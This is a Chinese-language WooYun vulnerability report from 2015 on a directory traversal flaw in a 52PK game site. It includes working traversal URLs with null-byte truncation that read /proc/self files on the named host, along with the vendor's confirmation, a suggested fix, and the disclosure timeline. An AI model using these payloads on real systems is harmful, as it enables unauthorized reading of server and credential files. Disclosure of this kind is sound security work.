52PK游戏网某站点目录遍历

编号114922
Urlhttp://www.wooyun.org/bug.php?action=view&id=114922
漏洞状态厂商已经确认
漏洞标题52PK游戏网某站点目录遍历
漏洞类型任意文件遍历/下载
厂商52PK游戏网
白帽子lijiejie
提交日期2015-05-19 12:25:00
公开日期2015-07-03 16:54:00
修复时间(not set)
确认时间2015-05-19 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank8
厂商评级
厂商评rank10
漏洞简介
52PK游戏网某站点目录遍历
漏洞细节

http://top.52pk.com/index.php?c=../../../../../../../../../../proc/self/environ%00.txt&color_1=&line=10&m=add&p=xin_ts&title=e&width=260


52pk.png


当前用户uid是0,root:

http://top.52pk.com/index.php?c=../../../../../../../../../../proc/self/loginuid%00.txt&color_1=&line=10&m=add&p=xin_ts&title=e&width=260


52pk_2.png

POC

http://top.52pk.com/index.php?c=../../../../../../../../../../proc/self/cmdline%00.txt&color_1=&line=10&m=add&p=xin_ts&title=e&width=260


读出配置文件的路径:

/usr/local/php/etc/php-fpm.conf


52pk_3.png


但是发现读取该文件出错,多半是权限的原因,因为尝试读取shadow也失败了。

修复方案

参数过滤

状态信息 2015-05-19: 细节已通知厂商并且等待厂商处理中
2015-05-19: 厂商已经确认,细节仅向厂商公开
2015-05-29: 细节向核心白帽子及相关领域专家公开
2015-06-08: 细节向普通白帽子公开
2015-06-18: 细节向实习白帽子公开
2015-07-03: 细节向公众公开
厂商回复非常感谢您的报告,这个问题我们已经确认。
回应信息危害等级:中漏洞Rank:10 确认时间:2015-05-19 16:52
Showing 1-1 of 1 item.
评论内容评论人点赞数评论时间

李姐姐疯了吧,全是你的

sql小神02015-05-19 13:27:00